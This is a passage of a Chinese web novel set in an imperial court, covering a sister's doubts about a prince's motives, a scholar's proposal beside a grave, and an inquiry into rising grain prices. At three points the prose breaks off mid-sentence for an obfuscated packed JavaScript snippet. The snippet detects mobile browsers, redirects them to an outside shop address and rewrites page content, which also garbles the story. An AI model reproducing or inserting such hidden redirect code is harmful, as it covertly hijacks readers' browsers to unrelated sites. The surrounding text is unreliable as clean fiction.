“自然不是，只是太子和雍王如今在朝堂上争来争去，争的可是那储君之位。太初，你我都读过史，应当清楚这储位之争从来都是刀光剑影、腥风血雨，是累累白骨垒起来的。”说着她握住王太初的手，劝阻道，“你万不能将自己置于这般险境之中。” “那姐姐呢？”王太初任由赵盼儿握着自己的双手，发问：“我记得昔日姐姐曾问过大哥哥为何不赴会试入朝为官。大哥哥每每说起都是朝堂凶险，在民间行事亦有可为。可如今大哥哥得中状元，不日便会受封为官，他偏偏选了这条凶险之路，姐姐莫非会弃他而去？” 她的追问让赵盼儿语塞，她说的并非全无道理，朝堂争斗又能比储位争斗好上几分？亦是一个不小心就会丢了性命去。 “如今姐姐不怕，还愿相随，我又有何可惧？” 自家爹爹和哥哥的态度已是让王太初觉着在家中孤立无援，此刻她迫切需要赵盼儿的支持，因为也只有赵盼儿可以说服自己的哥哥。 “且不说此路凶险，只说短短数月，妹妹又是否真的了解此人，认为此人值得你为他冒如此大的风险？”赵盼儿顿了顿，指尖无意识攥了攥盖被，像是有难以启齿之言。可转念间，她深吸一口气，像是压下了所有的犹豫，缓缓再开口道，“皇子拉帮结派，争获重臣的支持，谋夺储君之位。如此行径、如此传闻，古往今来，放眼朝野难道还少吗？如今王大人圣眷正浓，在那般人眼中，你便是最易突破的关口，你又如何分辨他是真心心悦于你？还是只将你作为连接自己和王大人的跳板？作为他通往储君之路的一枚棋子呢？” 赵盼儿言辞犀利、针针见血，这样的话听着并不顺耳，她原以为王太初会生气，可没想到她却异常平静。 “开始的时候，我对他只是因为哥哥的四和香之事相求而刻意接近，可后来受了他一次次的帮衬，心底竟悄悄生出些不一样的悸动。等我后知后觉察觉到这份心意之时，早已是只能被推着走。姐姐应当知道那样的心情，总是想找借口见他，和他说话。”黑暗中她轻嘲一声，“我当然也有怀疑过他的居心不良。那时朝堂之上都是言官弹劾他的奏折，父亲也不只一次在家中哀叹过他的处境。如若他真的想要通过姻亲关系得到重臣支持和太子一争高下，当时明明有更好的人选，西军 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“就像姐姐方才说的那般，储位之事本自有陛下决断，如若我只因为此事而瞻前顾后、恐蹈危途，那我也便算不得诚心爱之。只要他人品端方，堪托真心，待我坦诚无欺，我便觉所为无错。”她的声音虽然轻柔但却坚定，“只有一点，此事我亦需要考虑家中感受。” “那雍王呢？他待你如何？可否与你说起过赐婚之事？” “他待我甚好，此前万安城内数度遇险，皆赖他助我化解。此次兄长回明州的决定下得匆忙，雍王奉命出巡，尚还未归。再者赐婚之事也只是我的猜测，父兄尚未说明，因而我们暂时未提及此事。” “只要他对你好，你亦觉得值得，我便支持你。其实从始至终，我同你的父兄一样，担忧的也只是储位之争的凶险，担忧的是你的安危。可我刚刚又想起了一事......”赵盼儿像是妥协一般轻舒一口气，问道，“太初可还记得那年你我在城外遇到流寇之事，那日如若不是你跑回来和我一起背靠背同他们周旋，我们也等不来官兵的相救。昔日你可以不惧生死为了我这个友人，今日我这友人，断也没有立场劝你贪生舍弃良人。” “太好了！有了姐姐的支持，便算是有了大哥哥的支持，明日还有劳姐姐帮我劝劝大哥哥。”得到了赵盼儿的支持，她像是已然得到全家支持那般，雀跃着又坐了起来，随后一头扎进赵盼儿的怀里撒娇道。 “他可不一定听我的。”赵盼儿被压得喘不过气来，推着王太初宠溺地说道，“再说了绍安也不是不讲理之人，难道他还能看着自己的妹妹有情难圆吗？” “那可不好说，不过现下有了姐姐的支持，我便不怕了。”她将赵盼儿抱得更紧，继续撒娇说道，“最后就只剩下爹爹了，明日我就去找母亲，也给爹爹用上美人计。” “或许王大人根本不在乎，因为这事被安上‘攀附皇子’的罪名，或许他更愿意成全自己女儿的幸福。太初，只要你觉得值得一试，值得冒险，我相信我们都会选择支持你的。” 赵盼儿轻拍着埋在她怀里的王太初，柔声细语说道。 36. 第九章 赵家盼儿（三） 等王太初和赵盼儿起身之时，已是巳时。 她们姐妹俩多时未见，昨夜又闲话甚久，今早便贪了回懒，多睡了些时辰。 待到两人去向江音如问安之时，被告知今日天还未亮，王绍安便带着府中长随一同去了赵家的田地帮忙插秧，让她们安心在家不要记挂。 赵盼儿舍不得让王绍安独自干此重活，只是简单用了早膳之后便拉着王太初赶到了赵家田地。 王府的长随平日里干的都是伺候服侍的活，哪里干过着田间的苦活。王绍安更不用说，十指不沾阳春水的少爷，更是只能在田地间晕头转向。 故而虽他们早早就来了，还将自己弄得狼狈不堪，可田间的活进展却甚少。 “瞧你将自己弄的。”赵盼儿边擦着王绍安脸上混杂着泥水的汗水，边笑着抱怨道，“你从前就干不好农活，今日逞能做什么？” 这是回句章县以后，王绍安第一次在赵盼儿的脸上看到笑容。 “能是做什么，无非是担心盼儿姐姐劳累罢了。”王太初站在田埂处指着满脸泥巴的王绍安嘲笑道，“原本姐姐只需干这些活，现在还得费时间把大哥哥给擦干净了，你们这不是帮倒忙吗？” “姑娘可不能这么说，这一个早上，我们可是做了不少活的。”启年撑着腰，指着身后一片已经插满秧苗的田，辩驳道，“姑娘自个儿一觉睡到现在也不知道来帮忙，反倒编排起我们来了。” 启年素来只会在书案前磨墨，想来今日定是给累昏了头，才会对主家姑娘这般不分主仆。 “哼！今日我就同你比上一比，看看到底谁才是草包，让你输得心服口服。” 说罢王太初便挽起了裤腿衣袖，还没等赵盼儿及时将她拉住便一脚踩进了泥土里。 说来也倒是奇怪，有了王太初嚷着比赛，插秧速度竟也快了起来，不多时便将这收尾的活计给做完了。 “这......”赵盼儿看着田间毫无章法的秧苗只能摇头。 “盼儿姐姐，先不论这秧苗是否插得齐整，只问这些秧苗是不是可以活下来吧？” 王太初和启年之间从小到大总是有打不完的赌，而每次她又太想赢，因此这秧苗也就只能是插成了这副歪歪扭扭的鬼样子。 好在虽是无序了些，也能存活。 “能活，你是第一名。”赵盼儿无奈地摇着头，宠溺地宣布道。 “不公平，姑娘这插的都是什么啊？盼儿姑娘你未免太不公允了吧。” “怎么，我说太初是第一，你还不服了？”说到此处，赵盼儿从田里随手抓起一棵秧苗，佯装向启年的方向扔去。 “就是就是，我们只说比快，又没说比谁插得齐整，启年，我可劝你要愿赌服输，不可做那赖皮的小人。”有了赵盼儿的支持，王太初更是趾高气昂了起来。 “启年，你又不懂规矩了，大老远就听到你嚷嚷了。”自从沉水跟着方太初去了万安城以后，行事作风便越来越像言妈妈了。她挎着个食篮，大老远便开始给启年立起了规矩。 “启年，你的沉水妈妈来了。” 王太初不怀好意地故意扯开了嗓门，逗得田间众人纷纷捧腹大笑。 王绍安温柔地看着被逗得前仰后合的赵盼儿，心底悄然漫开一丝暖意，她本就该是这般样子。 泼辣蛮横，率性恣意。 “姑娘又找我打趣。”王太初的嗓门之大，还没走近就让沉水听了个真切。 “那还不是因为我们小沉水招人喜欢。” 方才攒着劲儿得了个第一，现下王太初还真有些饿了，她也管不得身上的泥水，探着头就朝着沉水的食篮里瞧。 “红糖糕、米馒头、藕丝糖和千层饼都是姑娘你喜欢的吃食，我可是跑了好几家铺子才凑齐整的。”沉水故意将食篮朝着身旁藏了藏，嘟嘴说道。 “是是是，还是我们沉水知道心疼我。” 这时启年已经提来了干净的水，大家索性在净手之后坐在了田埂上用起了点心。 “沉水，你未免太小气了些！这么多人，你怎就只买了这么一些？这点东西，哪够我们吃的？”王太初狼吞虎咽地往嘴里塞着米馒头，还不忘抱怨道。 “姑娘可是错怪我了，我哪里知晓自己只仅仅离开数月，这明州府的物价竟还赶上了万安城。姑娘可知这几样点心花了我多少银两？” “这些点心能值几个钱，一两银子应是绰绰有余。”王太初嘟囔着。 “五两银子呢！”出门之时沉水还觉着五两银子定是能将午饭也一起给张罗了，却没料到，此刻万安城内五两银子竟是如此不值钱。 “五两银子，你莫不是被人给骗了去吧。”王太初拿起一块藕丝糖左右看了起来，也没发现跟以前自己所用有何区别，也未加量，价格确是翻了几倍。 “是粮价贵了。”赵盼儿接过王绍安递给她的半块红糖糕，无奈开口说道，“你们离开的这几个月，明州府的粮价就翻了数倍。 “怎会如此？近日未闻南方有灾异，按理当无供需不济的情况，粮价何以骤涨？”听到此处，一直在旁未开口说话的王绍安焦急问道。 “我亦不知其故，只知你所留数亩田地，所产之粮原本尚能够支撑同光书塾日常的开销。然近数月来，已渐至入不敷出。”赵盼儿摇着头叹气，“还有好些学生的家长，因粮价骤涨，欲令其子归家耕作谋生。这些学生，亦是我等好不容易方才将他们留下来的。” “明州府虽自有田地，但多数的粮食仍需仰仗越州府供应。如此看来，码头上从越州府驶来的粮船，近月来数量可有减少？” “前面我也怀疑是越州府供应之数减少了，还特意去码头查探过，发现进港的粮船并未有减少。” “这就更奇怪了。” 王太初一听到粮食和粮价的事，立刻就联想到了万安城的漕粮事件。 万安城漕粮便是由越州所产之粮，沿江至明州府句章县三江口，复由运河运抵万安府的蓟门闸。 前次虽未有实证，却已推测出漕粮并未如数运抵万安。可如今明州府粮秣供需亦现失衡，这莫非和漕粮也有干系？ “难道官府任由粮价飙升而不干预吗？官府没有开仓放粮来平粮价吗？”想到因为漕粮而丢掉性命的漕夫，王太初便有些气愤。 “迄今为止，县衙未放粮，府衙亦未放粮。” “哥哥此前在万安城，不是曾与范金谦范大人有过交往吗？此次归乡，若不去拜望，岂不是失了礼数？” 王绍安自是听出了她话中的意思，城内粮价涨成这番田地，官府却不闻不问，任其发展，说不定另有隐情。 “好，正好我从万安城给范大人寻了几本孤本，正好给他送去。”他站起身来拍了拍身上的尘土，看着赵盼儿说道，“叔母坟茔就在不远处，我原想独自先去拜祭。既然你来了，不如随我一同前往，正好我也有些事要跟你说。” 王绍安的语气依旧是淡淡的，他指了指棚子里早已准备好的香火蜡烛询问道。 赵母的坟茔前，王绍安循着晚辈的礼仪恭恭敬敬地磕了三个响头。 王绍安兄妹自幼生母早亡，虽有外祖母照拂，却终究因为年迈，还有些不便当之处，而这个时候向王家伸出援手的便是赵母。 “母亲是在睡梦中安然离世的，你不必伤怀。”赵盼儿站在风口处，挡着风不让蜡烛被吹灭，她眼眶湿润说笑道，“县中妇人们常在她跟前说你不会再回来。今日见了你，她定然也是高兴的。” “哦？真有此事？”他站在她的身侧盯着坟茔前跳动的烛火，也玩笑道，“那她们可算是撞到硬茬、踢到铁板了。想必你定是将她们狠狠骂了一顿，给赶跑了吧？” “何止呢？我是举着耕地的锄头将她们给狠狠赶了出去。”话到此处，她忽然转身望向他，正巧撞到王绍安也转过身来，四目相对之时，她虽脸上羞怯，嘴上却还是不饶人，“因为我知道你不敢不回来，万安城又不是远在天边，你若敢不回来，我定是要找上门将那锄头劈到你脸上的。” 赵盼儿又变成了以前的样子，家中没有男丁在旁，只有孤女寡母相依为命，所以她一直都是泼辣的、强势的。 “就是怕你找上门，所以面圣之后我便马不停蹄地往明州城赶，却没想到还是晚了一步。”王绍安盯着她的眼睛问道，“盼儿应是知晓，此番我是来明州城求娶你的吧。” 离别之时，少年的誓言仍犹言在耳。 父母去世，上至皇亲贵族、下至平民百姓，均需守孝，以报恩德。 赵盼儿知道，此番他虽然遵守诺言来了，她却无法嫁给他。 她别过头去，不再看他。 见赵盼儿转头不语，王绍安便接着方才的话往下说：“有此番想法全因万安城内的那场瘟疫。彼时我在城中帮忙，曾偶遇一对正在商议婚嫁的男女。初遇之时那女子已是病入膏肓，药石无医，可那男子为了为其凑齐那几味短缺之药却还是出了城。正巧那几日我因劳累突感喉间作痛，原以为定是感染了疫症，将不久于人世，你可知，那时我心中所念是何？” 赵盼儿依旧默然不语，只是眼中悄然泛起的泪花早已透露了她已知晓答案。 “那时我便质问自己，为何要同你相隔两地。”王绍安向来木讷，从未说过这般情话，“后来太子妃薨逝，太子辍朝数日。此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16430406|180575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情此景，更令我幡然醒悟，世事无常、变幻难料，今日虽犹在侧，明日却未必还能相守。所以那日之后，我便瞒着府中之人悄悄准备了聘礼，准备会试之后便来明州城求亲。” “可到了明州城，知道叔母仙逝，你独自承担此份伤痛，我便又追悔莫及，我不该等什么会试，亦不该等什么功成名就，彼时我便该即刻来找你。” 此刻王绍安亦是双眼通红，昨日在田埂间见到赵盼儿的那一刻，他便深陷在自责之中，辗转一夜未眠。 “我知为母守孝事大，可如果......如果你愿意的话......” “我跟你去万安。”盯着王绍安支吾半日，赵盼儿抢白道，“我不在乎旁人如何说，母亲自知我的孝心，只要状元郎不怕日后落下个忤逆不孝的罪名，我赵盼儿便不怕！” “好！” “母亲离世之前，或许已有察觉，自己大限将至。她时常对我说起，若你回来，让我只管跟着你走。”赵盼儿盯着墓碑，叹气说道，“她时常觉得是自己拖累了我，可她从来不知，是她悄悄给了我撑下去的力气。” “现在她知道了。”他温柔地盯着墓碑上新刻的名字，柔声宽慰道。 “另外还有一事，我需得在墓碑之前同叔父叔母和你说清楚。”王绍安突然严肃了起来，“你知道朝堂多险，我本无入朝之意，故秋闱之后从未参加春闱。然看到万安城，天子脚下，尚且吏治松弛、官场混乱、黎民困苦，我便实难坐视，遂自作主张应试，竟得了状元。此去未必能得荣华富贵，然凶险荆棘却难避免。如若盼儿心有顾虑，我亦能理解。” “你何时看我赵盼儿如你这般瞻前顾后，畏死贪生？凡我认定之人、认准之事，一旦抉择，就不会后悔。”赵盼儿突然有些明白了王太初的处境，对于此刻的她而言，所行之事，又何尝不是一场不顾生死的赌局和冒险呢？ “我亦有一事要同你说。”她想起了昨夜王太初的嘱托，遂将昨夜两人谈话的始末，一五一十告知了王绍安，最后还不忘自己对王太初的承诺，开口帮其说话道，“太初与我今日所处并无二致，不管如何，我是要支持与她的。” 王绍安几乎也被说动，可他还是在方才赵盼儿的言辞中发现了一丝不对劲的地方。 “你方才说她因何物与雍王殿下相识的？” “太初说是四和香。”赵盼儿不知原委，还在为王太初美言，“说是你的四和香，说起来还是因你而结的缘。” 王太初此际亦满心欢喜。 她估摸赵盼儿定会为了她和雍王之事，在王绍安面前替自己争取，而自己的这个哥哥最是听赵盼儿的话了。 那么眼下剩下的便只有争取王抃的同意了。 从田间回来之后她便拉着沉水上了街市，打算挑几样合江音如口味的点心，顺便再探探句章县的粮价。 满载而归出现在王宅门口之时，正好碰到了祭拜赵母归来的王绍安和赵盼儿。 而同时出现在王宅门口的还有刘聿洵的副将李全胜。 “李副将，雍王可是也来了句章县？”王太初将手中之物扔给王绍安之后，便蹦跳着向李全胜的方向而去，丝毫没有注意到此时王绍安和赵盼儿脸色的变化。 “殿下在万安城尚有公务，并未来到明州。” 王太初离开万安城五天后，刘聿洵和李全胜才办完公务，回到城内。 原本在城内，担心有人会因此赐婚之事对王太初不利，他便部署了巡防营的官兵彻夜保护，可一旦王太初离京，巡防营没有出城的调令，便只能呆在城中。 因此待他回到城中知道事情原委之后，便当即就命令李全胜快马加鞭赶往明州。 “此番我是受殿下指派前来办差的，顺便替殿下来探望太初姑娘。”说罢，李全胜便将一纸书信递到她跟前。 王太初展信一看，面颊骤生绯色，羞恼之下，抬手便将信掷回李全胜怀中。 只见信中只有寥寥四字。 “莫要贪杯。” 她想起了和乐楼那日自己醉酒胡闹的样子，便觉着他是在取笑自己。唇角一嘟，便转身朝府门方向走去。 赵盼儿见状加快脚步便跟了上去。 她看到王太初面上虽染羞涩，还带着被刘聿洵取笑的薄怒，可眼底眉梢的雀跃欢喜却怎么也藏不住。 “太初，有一事，我需得先告知你。” 方才在其身后，赵盼儿便从王绍安的口中得知了李全胜的来历，他是雍王的副将。 可赵盼儿明白，她必须在事态愈发复杂、王太初陷得更深之前，将真相告知与她。 “绍安的四和香，是太子送的。” 37. 第十章 明州破局（一） 明州城的初夏，总像是裹着一层湿热的薄雾。 王太初轻轻翻了个身，昨夜雨声淅沥，扰得她彻夜未眠。待到晨光微现，觉得身旁的赵盼儿睡得不似先前那般熟了，她才方敢翻身。 这一夜她都在回想康王府的花宴，回忆当时刘聿洵从头至尾是否有说起过那瓶王绍安的四和香是出自他的府邸。 她在确认他对她是否存有欺瞒。 可是在另一侧，在昨夜赵盼儿将此事告知自己之时，她却扯了谎，含含糊糊地盖了过去。 赵盼儿自是不知四和香的原委，当日说起四和香之事，为了避免误会，王太初言语之间也是谨小慎微。因而她并不知事情全貌，只是隐隐觉着有异，遂来相告。 可骗得了别人却骗不了自己，四和香既可作为他们二人缘分之始，亦可是刘聿洵逢迎权臣的手段。 她脑中纷乱如麻，心头更是乱作一团，满心只想着，若此刻刘聿洵在身侧能让自己问个分明，才算能解了她的疑惑。 可转念又想，若真能当面质问又如何呢？如果这真是他攀附权要的手段，又怎会因为自己的质问而坦白呢？ 她气恼地翻了个身，视线正巧落在茶案上那张信纸上，即觉心中一亮。 刘聿洵当下虽不在明州，可他的副将李全胜却在此。虽此人寻常不过陪在刘聿洵身旁，不曾有多话的时候，可看其神态举止，倒似个诚实无欺之人，或许可以先从他身上探探虚实。 想到这里，王太初便更是等不及了。悄悄翻身起了床，梳洗一番之后便打算出门去寻李全胜。 却没想到，在前厅碰到了正欲去拜访范金谦的王绍安。 纵心中急切难捺，可相较之下，明州城内的粮价之事，才是她更为关心的。 因而她也顾不得去找李全胜，便缠着王绍安一起先来了范府。 范金谦果然如传闻中那般，惜书如命。其府邸屋舍规模并不算小，可大半空间皆藏书籍，仅余逼仄之处容人往来。 就好比王太初此时所处的客堂，若再多几人便就活动不开了。 “未料状元郎清晨便登门拜访，仓促间也未能准备好茶相待，还望状元公海涵。”范金谦一早便已着官服。他肃然坐于正席，对王家兄妹的到访，并不算客气。甚至对王绍安找来的那几本孤本，也只是随便翻看之后便随手摆到了案上。 此态与在雍王府中同他侃侃而谈、论今道古的范金谦，相去甚远。 兄妹两虽有不解，但毕竟在万安城内也算是摸爬滚打了数月，对这场面上的变脸也已是习以为常。 昨日你是得宠皇子的座上宾，今日你不过是尚未授官的状元郎，而这大庆皇朝，这样的状元郎每三年都会有一个，也并不是什么稀罕之物。 只是王绍安有些失望，自己一直以来敬重之人，竟也是趋炎附势之辈。 而失望管失望，眼下却有要紧之事不得不说。 没了先头的交情，这件事便不可直说了。毕竟不会有父母官喜欢自己治下的百姓，大清早便来找其说自己为政不当、处事失宜之处。 王绍安不得已更张其策，先将话题引到他处。 “有劳范大人费心了，您也知晚生不谙此道，再好的茶汤与我也不过是浪费罢了。” “我以为贤弟在万安城呆了数月，对这些贵人把式应是精进了解不少才是。”范金谦虽仍以兄弟相称，但语气里却添了不少讥诮。 “晚生粗鄙之质，不堪雅物，便也不劳心劳累去研究这些了。”虽听出了话中的无礼之处，王绍安却也不恼，只是随口调侃了自己。 “你我读书做官之人，应多将精力放在百姓之上，这些虚张声势的把戏，确实不值得费心费力去研究。”从进门到现在，范金谦的脸上总算是出现了一丝悦色，他拢了拢袖口，开口问道，“贤弟清晨到访，不知所为何事？” “是晚生的私事，因而只敢在范大人点卯之前来府上叨扰。却未顾及时辰尚早，贸然前来恐扰大人休憩，此乃晚生思虑不周，还望大人见谅。” “无碍。”范金谦摆摆手，“贤弟但说所为何事。” “晚生此次回乡是来提亲的。”王绍安也不藏着掖着，直截了当地说道，“不日便会回京授官，眼下有一要紧之事，想要在离开之前，托付给范大人。晚生在句章县设了一个学塾......” “听说太初姑娘和雍王殿下交往颇深？我远在明州都已听过姑娘为殿下不顾生死的故事了。” 王绍安正欲缓缓从学塾引到粮价，却不想范金谦却打断他的话头，问起了在旁一言不发的王太初。 王太初同范金谦那日只在雍王府外匆匆见过一面，并不算熟识，所以今日她并未开口说话，只是在旁静坐观察。 他虽不知范金谦的真实为人，却也觉得今日的范大人十分古怪。 王绍安虽不及雍王的权势地位，但怎么说他也是今科的状元郎，他的父亲也是圣眷正浓的重臣，不至于会换来如此态度。 如若范金谦真的是官场上那些惟现实权势是攀之人，又怎会对通政使这样的官职不屑一顾呢？ “是，殿下同我颇为相熟。”她明明可以含糊其辞带过，可却回答得斩钉截铁。 四和香之事已是让王太初心有动摇，可她并不想承认自己付出的信任如此不堪一击，便像是在自宽自解一般，承认了下来。 此言一出，身旁的王绍安自是蹙起了眉，可却没想到，范金谦的反应却比王绍安更是激烈了几分，竟然下起了逐客令。 “既然有雍王殿下这个熟人，贤弟哪里还用得着我范某帮忙。”他将眼前的茶一饮而尽，站起身来，说道“昨日衙门尚有未决之事，需得我早些过去处理，就不留贤弟再喝一盏茶了。” “兄长可觉得范大人今日尤为奇怪？” 王绍安到了范府之后便遣走了车夫。久未回明州，他原想着趁晨间天凉，走着回府，届时正好能赶上府中早膳。 怎料现在同范金谦没聊上几句便被主人下了逐客令，让他倒反而有了大把空闲，便决意和王太初去码头逛一逛，顺道去数一数到港的粮船。 “为兄亦有这般感觉。当年万安府相见之时，他与我之间，尚且还有说不完的抱负，可今日......” 未见范金谦之时，王绍安便对其敬重有加。今日之事，他虽满心疑窦，却终究是半句非议之词也说不出口，只能将后半句话咽回口中。 “可我看着范大人今日的态度倒不像是针对兄长，反而更像是针对雍王。” 王太初最善察言观色，虽初进门时，范金谦对他们的态度确实不甚友善。可中途说起其他之事，亦能窥见他对王绍安的喜爱之意。直到后来说起刘聿洵，他才陡然动怒，将他们“请”出门来。 “范大人同雍王素来交好，怎会有此针对之说？”王绍安摇摇头，“我能有幸和范大人相识都还是仰赖雍王，他们之间又怎么会不和到让我这个外人知道呢？” “也是。”王太初也觉着自己的猜测荒唐，便只能转了话锋打趣道，“怕不是哥哥暗中做了什么不合章法之事让范大人知晓了去？否则你一个堂堂今科状元怎么能在范府连杯好茶都喝不上呢？” 王绍安不语，只能摊摊手，任由王太初在其耳边嘲笑他。 好在范府到码头的距离并不算远，半刻钟便让王绍安用一碗米浆粥和一小碟蒸米糕堵住了她的嘴。 “果如盼儿姐姐所言，码头上的粮船数量未减分毫。” 王家兄妹二人坐在粥铺里，看着码头上忙碌的脚夫们。 “瞧着水面快接近吃水线了，这粮船应该装了东西，并非空船。” “会不会不是粮食？”王太初有夜探蓟门闸的经验，便比王绍安考虑多了一些。 她的细腻谨慎更是让自家兄长眼前一亮，水面接近吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16440897|180575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水线，也不过只能证明粮船满载，可所载之物到底是不是粮食，却尤未可说。 “太初所言有理。”他将粥饼钱放到桌上后便站起身来，嘱咐道，“你且在这里候着，我去向脚夫打探一下。” 说罢，便小跑着朝码头方向走去。 三江口码头本就繁忙，此时恰是脚夫船员用早膳之际。王太初不好意思久占座位，遂决定到近处边逛边等。 明州府市舶司为图方便，便设于三江口码头之侧。它周围的商铺常有别处不多见的稀奇玩意，以前王太初总爱往那里跑。 眼下看王绍安一时半会也回不来，她便决定去找些万安城不多见的物件带回去。 刚走进一间香铺，便看到了在柜台前选香的李全胜。 今日王太初特意早起原本便是为了去找他，却不想他竟自己送上了门来。 “李副将，也喜欢这些香粉？” 李全胜原本还拿着两个香盒在比较，听有人唤他，便转过头来。 “给王姑娘问安。”此时此地碰到王太初，他也不觉着奇怪，只是将手中的两个香盒递到了她跟前，说道，“正好王姑娘过来，可帮我看看这两味香，哪一味是白木香？哪一味是奇楠香？“ 白木香和奇楠香本质同属沉香科，只香气叠韵有所不同，不是深谙香道之人，难以辨别其中毫厘之差。 可不巧的是，王太初并不是什么深谙香道之人。她方欲摆手称自己亦不懂香，却忽然想起了那四和香之事，便接过那两个香盒，佯装嗅了嗅。 王绍安所有的四和香，纵是太子所赠，亦不妨碍刘聿洵曾将此香赠予府中侍女，后同王太初那般以为那侍女复又转赠王绍安。这其中的弯弯绕绕，她不知，刘聿洵又如何知道。 “平日里也不见李副将身上熏香，怎会想起来此处购香，可是帮旁人带的？” “殿下恐近旁之人的香味同他的相混，故平日里不许我等用香。此香是我为家姐所选，有劳王姑娘了。” “哦？可我上次去雍王府赏花，还闻到府中女使身上有独特好闻的香味，还随口问了一嘴，说是......” 王太初刚想提及四和香，却被李全胜打断。 “绝无可能，殿下对府中女使、长随的要求甚为严格，规矩要求一条条都记录在案，断不可能有人敢冒此风险。”李全胜说得甚为笃定。 如果雍王府是这样的规矩，那自己为刘聿洵找的理由便不能成立。 她想起了前夜赵盼儿问自己的话，此刻，对于自己是不是他通往储君之位的那一枚棋子，她产生了动摇。 可她还想试试。 “李副将缘何如此肯定，或许殿下也会将自己平常所用之香送给旁人，毕竟只要香味一致，便不会相混。” “府内赏罚也皆有定规，即便是银钱这类全然无差之物，亦无例外，更何况是香这般独具特性的物件，殿下是断然不会自行打破自己定下的规矩的。” 王太初眸色一沉，心中已是明了。纵是百般不愿置信，刘聿洵欺瞒自己已是铁一般的事实。 他未曾赠香，又何来女使将四和香赠予自家兄长的可能呢？ 既然如此，他陪自己演完这场无谓之戏的动机又是什么呢？ 她只觉喉间像是被一只无形的手死死扼住，连呼吸都滞涩几分，不敢再深想，将手中的香盒扔给李全胜之后，只草草打了个招呼就落荒而逃。 “客官可是要白木香？这盒便是了。”掌柜的嘴上虽还是客客气气，心中却已是翻了个白眼。自己明明就将哪盒是白木香，哪盒是奇楠香告知了，眼前之人却还多此一问。 可看着此人的衣着打扮又甚是不俗，方才说话间也是殿下副将的，恐怕还有官身，便只能小心谨慎伺候着，陪笑道，“客官可要小人将它包起来？” “不用。” 他看着王太初离开的方向，头也不回地说道。 38. 第十章 明州破局（二） 王太初从香铺出来后，脑中思绪纷乱如麻，脚步踉跄地朝着码头的方向奔去。 待好不容易在码头找到王绍安之时，却看到先前对他们下过逐客令的范金谦此刻也赫然站在码头之上。 “范大人？” 她向范金谦见了个礼，目光扫过二人时却愣住了。晨间还在范府与他们剑拔弩张的范金谦，此刻竟和王绍安相对而立，言谈间神色缓和，分明是商谈甚欢的模样。 倒是王太初像是不受欢迎似的，她人刚到跟前，范金谦脸上的缓和便瞬间退去，神情又冷了下去。 “没想到范大人忧心之事与你我相同，也是来码头查这粮价的。”王绍安并未察觉范金谦此时的变化，继续说道，“方才我寻了脚夫查问，这粮船之上的确是粮食，不是其他。” 王绍安将方才自己探得的线索一一说了一遍。 “那可真是怪事。粮草供应尚足，明州府内亦无大用、多购之需，那粮价何以暴涨至如此荒唐的境地？” “粮价是在去岁秋末开始上涨的，当时是因为市场上有粮商不计后果采购粮食所导致。可待粮商离开之后，粮价却反而更高了。”范金谦叹了口气，羞恼地低下了头。 当时推动明州府粮价上涨的正是刘聿洵交给自己的那为了筹措西境军粮的十万两，而帮着操作这一切的正是自己。 即便自己反复推算，已然慎之又慎，可明州府的粮价在那时亦是有了一波小幅度地上涨。后来西境军粮案水落石出，军粮西运没了阻碍，刘聿洵便快马加鞭给自己递送了停止采购粮食的信件。 他原以为明州府的粮价会因为自己停止采买而回落，可谁知却恰恰相反。其价格自去岁起便一路走高，时至今日，仍在高位徘徊，始终未有起色。 他也考虑过或许是因为供应不足所导致，便时时来码头查看盘点，可亦未见有丝毫的起色。 可此事他却不能向外人道来，只能将这无法发泄的情绪撒在这个雍王友人王太初的身上。 “不是供应不足所导致，亦不是需求过盛所导致，那会是什么原因呢？”王绍安蹙眉。 “这的确是不合情理，可我调查数月，也并未参透其中奥秘。”范金谦近来实在难熬，这几个月里，他夜夜辗转难眠，将这粮价上涨的缘由和压力，全一股脑扛在了自己身上。 “常理无法参透的缘由背后往往有着见不得光的谋划，若连市理都解释不清楚，那便只能是人为了。”王太初看着眼前深陷在逻辑困局中走不出来的二人，询问道，“会不会是有人恶意抬高粮价？” “绝无可能，朝廷对于恶意抬升粮价者，惩罚甚严，轻则笞杖、罚钞，重则抄家、充军甚至斩首。另外粮商之间可互相监督告发，告实者朝廷亦有赏赐。”范金谦连连摇头，“此等酷吏临之，此等监察环之，又有谁敢冒死行险呢？” “那如果他们已经结成联盟，互相包庇，人人都是导致粮价高悬的罪魁祸首呢？”王太初的猜想如惊雷乍响。 “要想联盟所有粮商一起哄抬物价并非易事，能够做到此事之人微乎其微。”王绍安虽惊谔，却很快从中整理出了头绪。 “那便只能是越州府的粮商了。” “明州府虽也有田地，可多数的粮食还得依赖越州府，若没有越州府的粮商带头，这粮价也断然不能涨起来。”王绍安轻声分析着，“可晚生还有一事不明，既然粮价飙升，朝廷理应开仓放粮才是，为何范大人不那么做呢？” “我找人细细算过，即使我将官仓内所有的粮食全部放出，恐怕也只能维持一时。如今还不是最要紧的时候，我还不敢如此行事。” 